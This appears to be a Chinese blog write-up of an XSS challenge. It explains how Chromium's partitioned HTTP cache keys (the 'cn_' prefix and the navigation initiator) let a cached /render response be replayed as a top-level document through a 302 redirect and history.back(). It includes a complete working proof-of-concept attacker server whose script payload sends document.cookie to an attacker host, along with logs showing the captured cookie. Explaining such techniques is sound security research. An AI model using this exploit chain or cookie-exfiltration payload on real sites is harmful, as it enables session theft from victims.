有趣的绕过,Cache XSS
比较新颖的xss
总会有一些好玩的事情值得我去研究
(也是忙着新东西没时间写很多文章了)
老生常谈的xss,不过这次非常不一样
用了一些比较脑洞大开的trick,想来也是非常有趣的,以下是源码
from flask import Flask, request, make_response
app = Flask(__name__)
SECRET = "flag{this_is_a_dummy_flag}"
@app.get("/")
def index():
return """
<body>
<h1>XSS Challenge</h1>
<form action="/">
<textarea name="html" rows="4" cols="36"></textarea>
<button type="submit">Render</button>
<form>
<script type="module">
const blob = await fetch("/render" + location.search, {
headers: { "X-From-Script": "1" },
}).then((r) => r.blob());
if (blob.size) {
document.forms[0].html.value = await blob.text();
const iframe = document.createElement("iframe");
iframe.setAttribute("sandbox", "");
iframe.src = URL.createObjectURL(blob);
document.body.append(iframe);
}
</script>
</body>
""".strip()
@app.get("/render")
def render():
if not request.headers.get("X-From-Script", ""):
return "Use script", 400
res = make_response(request.args.get("html", ""))
return res
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=3000)可以看到访问首页后提交的html被丢入iframe并且设置了sandbox,rander路由返回了原始的html,
但是因为sandbox我无法执行js,并且直接访问render想直接渲染,但是我无法控制bot的X-From-Script头,那就直接返回400了
表格是实验结果
路径 | 结果 |
直接导航到 | 没带 |
攻击者页面跨源 | 自定义头会触发 CORS preflight,靶机又没给任何 |
首页自己的同源 fetch(头就是它带的) | 拿得到 payload,但会被塞进 |
那么目标就很清楚了,得让同一份响应,以顶层文档的身份再被渲染一次
看上去完全没有办法,那就开始研究吧
先引入一下新Chromium 的cache的机制
因为注意到
if (blob.size) {
document.forms[0].html.value = await blob.text();
const iframe = document.createElement("iframe");
iframe.setAttribute("sandbox", "");
iframe.src = URL.createObjectURL(blob);
document.body.append(iframe);
}是发生在服务端返回的后面的,这样的话cache也就和后续的js没有关系
这里可以再想一步,缓存是在HTTP 层就落地的,fetch 一拿到响应,浏览器就已经把它存到本地磁盘了,
跟这之后页面把响应拿去干嘛没有关系,不管是塞进 iframe,还是转成 blob,还是直接丢掉
也就是说这份响应已经在浏览器的缓存里了,剩下要解决的只是怎么把它读出来
而且cache是发生在顶层文档的,html会进行解析,我可以控制的只有bot访问,接下来怎么办呢
在看这张表之前,得先把 initiator 说一下,不然后面几行对不上
initiator 就是这次请求或者导航是谁发起的,它可以是一个 origin,也可以是 null,null 表示没有网页发起它,
在请求头里它就表现为 Sec-Fetch-Site
发起方式 | initiator |
|
地址栏输入 / 右键新标签页 / |
|
|
|
|
|
|
|
|
从 | 同站 |
|
| 还是 |
|
所以抓包看 Sec-Fetch-Site 就能反推 initiator,这个后面会一直用到
cache的调用因素如下
# | 因素 | 来源 | 说明 |
1 | URL | 请求 | 字符级完全一致,连百分号编码都要一样 |
2 | top-frame site | NetworkIsolationKey | 地址栏那个页面的站点(eTLD+1) |
3 | frame site | NetworkIsolationKey | 真正发请求的那个 frame 的站点 |
4 |
|
| 这次是"子框架的文档资源"吗 |
5 |
|
| 这次是"跨站发起的主框架导航"吗 |
6 | credential 前缀 |
| "1/"(带 credentials)/"0/"(不带) |
7 | upload id | 请求体 | POST body 的标识;GET 恒为 0 |
8 |
| 分区缓存总开关 | 有没有开 network state partitioning |
这张表里面其实真正要盯的只有两行
第 4 行的 s_,是说这次如果算子框架的文档资源,key 会多一个 s_ 前缀,
第 5 行的 cn_,是说这次如果是跨站发起的主框架导航,key 会多一个 cn_ 前缀
也就是说同一个 URL,同一个 top-frame 和 frame,现在可能会有两个互不相干的缓存槽
..._dk_<NA key> <url> 默认槽
..._dk_cn_<NA key> <url> 跨站槽 只多了 "cn_"而首页那次 fetch 是子资源请求,is_mainframe_navigation 直接就是 false,所以它写进去的东西永远落在默认槽,这一点后面要用
需要注意的是frame site以及cn,需要的是no-cross-site,但是我只能控制我的页面的js
把那个判断式再读一遍会更清楚一点
is_mainframe_navigation && initiator.has_value() && !IsSameSite(initiator, url)三个条件是同时成立才会打上 cn_,所以不要 cn_ 其实有两条路,要么 initiator 是 null,has_value() 为假,要么 initiator 和目标同站
而 top-frame site 和 frame site 这两项,我们两次请求天然就是同一个靶机站点,不用管
可以注意到直接访问 / 以及同源fetch是没有改变initiator,page goto也是原本浏览器发起,initiator也为null,
以及实测redirect也是没有改变initiator的
但是location以及跨站的fetch是cross-site,
这几条实测,直接看靶机收到的 Sec-Fetch-Site 最直观
page.goto → 攻击者服务器 302 → 靶机 靶机看到: none null 保住了
page.goto → 攻击者页 → JS location= → 靶机 靶机看到: cross-site 变成攻击者了起点都是 page.goto,initiator 都是 null,只有怎么到靶机这一步不一样,结果就完全相反
302 是同一次导航改道,跑者不换人,location= 是另起一次新导航,跑者被换成了攻击者站点
这个区别就是后面整个gadget的地基
由此可得思路,让bot导航到攻击者页面后,执行js,
page goto到xss地址并且同源fetch render,这时返回的是html以及200响应
但是因为sandbox是没有渲染的,无法执行,所以让bot二次访问,并且设定blob协议,history.back( )
再将攻击者的 / 重定向到目标的/view,如此就可以命中缓存,直接return payload到bot的顶层文档
如此xss也就渲染了,并没有服务端的下一步
整条链拆开如下
1,bot page.goto 到攻击者页面,这是浏览器发起的,initiator 为 null,这条历史记录会被存下来
2,攻击者页面的 js 执行 open,打开靶机的 /?html=payload,这一步只是骗靶机首页加载起来,它本身是跨站导航,但是无所谓
3,靶机首页自己的脚本发出那个带头的同源 fetch 到 /render,返回 200 加上 html,落进默认槽,因为这是子资源请求,没有 cn_
4,攻击者页面的 js 执行 location = blob,造一条历史记录当垫脚石,blob 是内存里的页面,不会联网
5,blob 页面执行 history.back(),回到第一条记录,用记录里的 initiator,也就是 null
6,攻击者服务器第二次被访问,回 302 跳到 /render?html=payload,同一次导航改道,null 原封不动带过去
7,浏览器算 key,是主框架导航,但是 initiator 为空,不加 cn_,查默认槽命中,不联网,服务器那个 if 根本没被调用,payload 被当成顶层文档渲染,xss
要注意的是,在302重定向时需要no-store,不然默认是不会发起请求的,请求后也就会把payload恢复
poc如下
#!/usr/bin/env python3
# framed-xss PoC — python3 poc.py
from flask import Flask, redirect, request
from urllib.parse import quote
import json
def encodeURIComponent(s):
return quote(s, safe="~()*!'")
app = Flask(__name__)
REMOTE = "http://victim.localhost:3000"
ENDPOINT = "/render"
SELF = "http://attacker.localhost:7777"
PAYLOAD = "<script>fetch('%s/x?c='+encodeURIComponent(document.cookie))</script>" % SELF
PORT = 7777
@app.after_request
def add_headers(resp):
resp.headers["Cache-Control"] = "no-store, no-cache"
return resp
i = 0
@app.get("/")
def index():
global i
i = (i + 1) % 2
if i == 1:
return r"""
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
const remote = %s
const payload = %s
;(async()=>{
open(new URL('/?html=' + encodeURIComponent(payload), remote))
await sleep(1000)
location = URL.createObjectURL(new Blob([`
<script>setTimeout(()=>history.back(), 1000)<\/script>
`], { type: "text/html" }))
})()
</script>
""" % (json.dumps(REMOTE), json.dumps(PAYLOAD).replace("</", "<\\/"))
return redirect("%s%s?html=%s" % (REMOTE, ENDPOINT, encodeURIComponent(PAYLOAD)))
@app.get("/x")
def exfil():
print("\n[+PWN] cookie = %r\n" % request.args.get("c"), flush=True)
return "ok"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=PORT)所以想来cache都是满足的
实测跑起来,靶机的日志如下,/render 只出现了一次,就是第 3 步那次 fetch
[EXPLOIT] / sfs=none
[VICTIM ] / sfs=cross-site
[VICTIM ] /render X-From-Script=1
[EXPLOIT] / sfs=none
(没有第二次 /render 请求)
[ATTACKER] /x sfs=cross-site
[+PWN] document.cookie = flag=...最后那次 /render 导航在靶机日志里完全不存在,但是 xss 执行了,cookie 也打出来了,
这就是缓存命中,不联网,服务器的头检查根本没被调用最直接的证明
顺着这个还能做个小实验,同一个 payload,用 text/html 存进缓存,顶层导航过去脚本会执行,
换成 text/plain 存的话,缓存一样命中,字节也一模一样,但是页面只会把 script 原样显示成文字,
可见从哪里拿到响应和响应怎么被渲染其实是两件独立的事情,缓存只管前面那件,后面那件是 Content-Type 和渲染上下文决定的
攻击者这页必须 no-store,不然 history.back() 会直接从 bfcache 把页面恢复出来,根本不发请求,302 就送不出去了
附上Chromium关于cache相关的处理源码
// static
std::optional<std::string> HttpCache::GenerateCacheKey(
const GURL& url,
int load_flags,
const NetworkIsolationKey& network_isolation_key,
std::optional<int64_t> upload_data_identifier,
bool is_subframe_document_resource,
bool is_mainframe_navigation, // ← 是不是主框架导航
bool is_shared_resource,
std::optional<url::Origin> initiator, // ← 发起者,可为 nullopt
bool include_url) {
std::string isolation_key;
if (IsSplitCacheEnabled()) {
if (network_isolation_key.IsTransient()) {
return std::nullopt;
}
if (!is_shared_resource) {
const std::string_view subframe_prefix =
is_subframe_document_resource ? kSubframeDocumentResourcePrefix : "";
// 新加的那个维度就是这里
const bool is_cross_site_main_frame_navigation =
is_mainframe_navigation && initiator.has_value() &&
!net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
const std::string_view cross_site_prefix =
is_cross_site_main_frame_navigation
? kCrossSiteMainFrameNavigationPrefix
: "";
isolation_key = base::StrCat({
kDoubleKeyPrefix, // "_dk_"
subframe_prefix, // "s_" 或 ""
cross_site_prefix, // "cn_" 或 ""
*network_isolation_key.ToCacheKeyString(),
include_url ? kDoubleKeySeparator : "",
});
}
}
...
// key 形状: credential_key/upload_id/[isolation_key]url
return base::StrCat({credential_prefix, ...,
isolation_key, include_url ? HttpUtil::SpecForRequest(url) : ""});
}以上